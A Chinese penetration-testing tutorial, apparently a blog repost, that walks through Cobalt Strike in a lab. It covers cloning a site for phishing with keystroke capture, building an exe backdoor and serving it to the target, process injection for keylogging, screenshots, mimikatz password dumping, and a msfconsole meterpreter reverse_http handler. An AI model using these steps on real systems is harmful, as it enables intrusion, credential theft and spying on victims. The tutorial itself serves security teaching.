『渗透基础』Cobalt Strike基础使用入门_Cobalt Strike联动msfconsole

2024-02-08 17:10
文章标签 基础 使用 入门 联动 渗透 cobalt strike msfconsole

本文主要是介绍『渗透基础』Cobalt Strike基础使用入门_Cobalt Strike联动msfconsole，希望对大家解决编程问题提供一定的参考价值，需要的开发者们随着小编来一起学习吧！

文章目录

  • 环境
  • 配置cs
    • 启动cs服务器
    • 登录客户端
  • 网页钓鱼
  • 靶机渗透
    • 创建Listener
    • 生成后门
    • 靶机上线
      • *python文件服务器
      • cs自带文件服务器
    • 修改sleep时间
    • 读取目录
    • 进程注入记录键盘输入
    • 截图
    • mimikatz获取密码
  • Cobalt Strike联动msfconsole
  • 插件安装
  • 参考
  • 完

本实验在安全隔离环境中运行
仅供教学使用

环境

  • kali：Cobalt Strike4.3，192.168.225.129
  • winxp：192.168.225.130

配置cs

启动cs服务器

首先给cs文件夹权限

chmod -R 777 ./cobaltstrike4.3

启动cs服务器，teamserver ip password，自定义密码，ip填公网/局域网，不可填127.0.0.1

在这里插入图片描述
默认端口50050

登录客户端

sh ./start.sh

这里由于直接在服务器上面开客户端，所以可以填127.0.0.1，最好还是填局域网IP

在这里插入图片描述

网页钓鱼

选择克隆网站

在这里插入图片描述
克隆目标网站作为钓鱼，勾选记录键盘

在这里插入图片描述
靶机访问并输入文字

在这里插入图片描述
即可截获输入内容

在这里插入图片描述

靶机渗透

创建Listener

先创建监听器

在这里插入图片描述
add一个http监听器，host选择客户端ip

Beacon为内置的Listener，获取shell到CS上，Foreign为外部结合的Listener，常用于MSF的结合

在这里插入图片描述
创建成功

在这里插入图片描述

生成后门

攻击package有四种

在这里插入图片描述

  1. hta
  2. office宏
  3. 自定义payload
  4. exe

演示选择exe，配置对应监听器，然后创建32位的exe

在这里插入图片描述
保存到桌面即可

在这里插入图片描述

如果是hta，运行mshta URL即可

靶机上线

这一步模拟受害者下载恶意exe

*python文件服务器

在桌面运行

python3 -m http.server 8010

在这里插入图片描述
靶机访问，点击运行

在这里插入图片描述
即可触发cs上线

cs自带文件服务器

方便一点，选择文件服务器钓鱼

在这里插入图片描述

选中生成的后门，然后修改一个名字
在这里插入图片描述
靶机访问url，点击运行

在这里插入图片描述
触发cs上线

在这里插入图片描述

修改sleep时间

默认60秒靶机向服务端发包告知存活情况，为了是隐藏自己，并获取一次需要执行的命令，执行渗透要把这个时间缩短才能很好地拿到回显

在这里插入图片描述
改小一点就行，演示改成1s

在这里插入图片描述

读取目录

在这里插入图片描述

在这里插入图片描述

进程注入记录键盘输入

靶机开启一个浏览器

在这里插入图片描述
cs浏览进程

在这里插入图片描述
注入explore.exe，并点击log ketstrokes记录键盘

在这里插入图片描述

注入成功后会有新的进程上线，还是跟上面一样别忘了上线后把sleep调小

在这里插入图片描述

靶机在浏览器输入字符，cs键盘记录窗口收到输入的字符

在这里插入图片描述

截图

在这里插入图片描述
打开截图窗口即可看到

在这里插入图片描述

mimikatz获取密码

在这里插入图片描述

Cobalt Strike联动msfconsole

首先保证cs上线

在这里插入图片描述
创建一个foreign http监听器，ip填公网/局域网，端口弄一个不常用的

在这里插入图片描述
然后cs客户端启动msf，这里ip可以填127

msfconsole
use exploit/multi/handler
set lhost 127.0.0.1
set lport 5555
set payload windows/meterpreter/reverse_http
exploit

相当于靶机的请求通过监听器传到了msf

在这里插入图片描述

配置靶机生成请求

在这里插入图片描述
选择msf的监听器

在这里插入图片描述
等一下即可

在这里插入图片描述

插件安装

用梼杌的插件，解压后load cna文件
在这里插入图片描述
邮件上线机器即可

在这里插入图片描述

参考

https://www.freebuf.com/company-information/167460.html
https://github.com/DeEpinGh0st/Erebus
https://github.com/pandasec888/taowu-cobalt-strike

完

欢迎关注我的CSDN博客 ：@Ho1aAs
版权属于：Ho1aAs
本文链接：https://blog.csdn.net/Xxy605/article/details/125388547
版权声明：本文为原创，转载时须注明出处及本声明

这篇关于『渗透基础』Cobalt Strike基础使用入门_Cobalt Strike联动msfconsole的文章就介绍到这儿，希望我们推荐的文章对编程师们有所帮助！


http://www.chinasem.cn/article/691669。

相关文章

Spring Security 从入门到进阶系列教程

Spring Security 从入门到进阶系列教程

Spring Security 入门系列 《保护 Web 应用的安全》 《Spring-Security-入门（一）：登录与退出》 《Spring-Security-入门（二）：基于数据库验证》 《Spring-Security-入门（三）：密码加密》 《Spring-Security-入门（四）：自定义-Filter》 《Spring-Security-入门（五）：在 Sprin
阅读更多...
中文分词jieba库的使用与实景应用（一）

中文分词jieba库的使用与实景应用（一）

知识星球：https://articles.zsxq.com/id_fxvgc803qmr2.html 目录 一.定义： 精确模式（默认模式）： 全模式： 搜索引擎模式： paddle 模式（基于深度学习的分词模式）： 二 自定义词典 三.文本解析   调整词出现的频率 四. 关键词提取 A. 基于TF-IDF算法的关键词提取 B. 基于TextRank算法的关键词提取
阅读更多...
使用SecondaryNameNode恢复NameNode的数据

使用SecondaryNameNode恢复NameNode的数据

1）需求： NameNode进程挂了并且存储的数据也丢失了，如何恢复NameNode 此种方式恢复的数据可能存在小部分数据的丢失。 2）故障模拟 （1）kill -9 NameNode进程 [lytfly@hadoop102 current]$ kill -9 19886 （2）删除NameNode存储的数据（/opt/module/hadoop-3.1.4/data/tmp/dfs/na
阅读更多...
Hadoop数据压缩使用介绍

Hadoop数据压缩使用介绍

一、压缩原则 （1）运算密集型的Job，少用压缩 （2）IO密集型的Job，多用压缩 二、压缩算法比较 三、压缩位置选择 四、压缩参数配置 1）为了支持多种压缩/解压缩算法，Hadoop引入了编码/解码器 2）要在Hadoop中启用压缩，可以配置如下参数
阅读更多...
Makefile简明使用教程

Makefile简明使用教程

文章目录 规则makefile文件的基本语法：加在命令前的特殊符号：.PHONY伪目标: Makefilev1 直观写法v2 加上中间过程v3 伪目标v4 变量 make 选项-f-n-C Make 是一种流行的构建工具，常用于将源代码转换成可执行文件或者其他形式的输出文件(如库文件、文档等)。Make 可以自动化地执行编译、链接等一系列操作。 规则 makefile文件
阅读更多...
使用opencv优化图片（画面变清晰）

使用opencv优化图片（画面变清晰）

文章目录 需求影响照片清晰度的因素 实现降噪测试代码 锐化空间锐化Unsharp Masking频率域锐化对比测试 对比度增强常用算法对比测试 需求 对图像进行优化，使其看起来更清晰，同时保持尺寸不变，通常涉及到图像处理技术如锐化、降噪、对比度增强等 影响照片清晰度的因素 影响照片清晰度的因素有很多，主要可以从以下几个方面来分析 1. 拍摄设备 相机传感器：相机传
阅读更多...
pdfmake生成pdf的使用

pdfmake生成pdf的使用

实际项目中有时会有根据填写的表单数据或者其他格式的数据，将数据自动填充到pdf文件中根据固定模板生成pdf文件的需求 文章目录 利用pdfmake生成pdf文件1.下载安装pdfmake第三方包2.封装生成pdf文件的共用配置3.生成pdf文件的文件模板内容4.调用方法生成pdf 利用pdfmake生成pdf文件 1.下载安装pdfmake第三方包 npm i pdfma
阅读更多...
零基础学习Redis(10) -- zset类型命令使用

零基础学习Redis(10) -- zset类型命令使用

zset是有序集合，内部除了存储元素外，还会存储一个score，存储在zset中的元素会按照score的大小升序排列，不同元素的score可以重复，score相同的元素会按照元素的字典序排列。 1. zset常用命令 1.1 zadd  zadd key [NX | XX] [GT | LT]   [CH] [INCR] score member [score member ...]
阅读更多...
数论入门整理（updating）

数论入门整理（updating）

一、gcd lcm 基础中的基础，一般用来处理计算第一步什么的，分数化简之类。 LL gcd(LL a, LL b) { return b ? gcd(b, a % b) : a; } <pre name="code" class="cpp">LL lcm(LL a, LL b){LL c = gcd(a, b);return a / c * b;} 例题：
阅读更多...
git使用的说明总结

git使用的说明总结

Git使用说明 下载安装(下载地址) macOS: Git - Downloading macOS Windows: Git - Downloading Windows Linux/Unix: Git (git-scm.com) 创建新仓库 本地创建新仓库：创建新文件夹，进入文件夹目录，执行指令 git init ，用以创建新的git 克隆仓库 执行指令用以创建一个本地仓库的
阅读更多...

Copyright China编程 23002807@qq.com

沪ICP备2023033072号-2